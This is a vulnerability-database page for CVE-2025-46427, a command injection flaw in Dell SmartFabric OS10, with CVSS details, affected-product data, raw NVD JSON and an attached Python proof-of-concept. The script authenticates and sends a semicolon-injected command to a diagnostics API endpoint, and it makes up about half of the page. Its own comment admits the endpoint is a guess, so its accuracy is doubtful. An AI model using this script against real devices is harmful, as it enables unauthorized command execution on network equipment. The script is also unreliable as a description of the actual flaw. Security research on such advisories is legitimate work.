Security Vulnerability Report
中文
CVE-2025-46427 CVSS 8.8 HIGH

CVE-2025-46427

Published: 2025-11-12 20:15:43
Last Modified: 2025-11-17 12:32:14

Description

Dell SmartFabric OS10 Software, versions prior to 10.6.1.0, contain an Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Command execution.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dell:smartfabric_os10:*:*:*:*:*:*:*:* - VULNERABLE
Dell SmartFabric OS10 < 10.6.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-46427 PoC - Dell SmartFabric OS10 Command Injection Note: This PoC is for educational and authorized testing purposes only. """ import requests import argparse from urllib.parse import quote def test_command_injection(target_url, username, password, command): """ Test for command injection vulnerability in Dell SmartFabric OS10 """ # Login endpoint login_url = f"{target_url}/api/login" # Prepare login credentials login_data = { "username": username, "password": password } try: # Attempt to login session = requests.Session() login_response = session.post(login_url, json=login_data, verify=False, timeout=10) if login_response.status_code != 200: print(f"[-] Login failed with status code: {login_response.status_code}") return False print(f"[+] Successfully authenticated") # Vulnerable endpoint - command injection point # Note: The exact endpoint may vary based on OS10 version vulnerable_endpoint = f"{target_url}/api/system/diagnostics" # Craft malicious payload with command injection injected_command = f";{command}" payload = { "command": injected_command, "target": "localhost" } # Send exploit request exploit_response = session.post(vulnerable_endpoint, json=payload, verify=False, timeout=10) if exploit_response.status_code == 200: print(f"[+] Command injection successful!") print(f"[+] Response: {exploit_response.text}") return True else: print(f"[-] Exploit failed with status code: {exploit_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def main(): parser = argparse.ArgumentParser(description='CVE-2025-46427 PoC') parser.add_argument('-t', '--target', required=True, help='Target URL') parser.add_argument('-u', '--username', required=True, help='Username') parser.add_argument('-p', '--password', required=True, help='Password') parser.add_argument('-c', '--command', default='id', help='Command to execute') args = parser.parse_args() print(f"[*] Testing CVE-2025-46427 on {args.target}") print(f"[*] Executing command: {args.command}") test_command_injection(args.target, args.username, args.password, args.command) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-46427", "sourceIdentifier": "[email protected]", "published": "2025-11-12T20:15:42.810", "lastModified": "2025-11-17T12:32:13.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell SmartFabric OS10 Software, versions prior to 10.6.1.0, contain an Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Command execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dell:smartfabric_os10:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.6.1.0", "matchCriteriaId": "1F75B21C-7B8B-4EA7-8D09-2AB14584AB52"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000391062/dsa-2025-407-security-update-for-dell-networking-os10-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}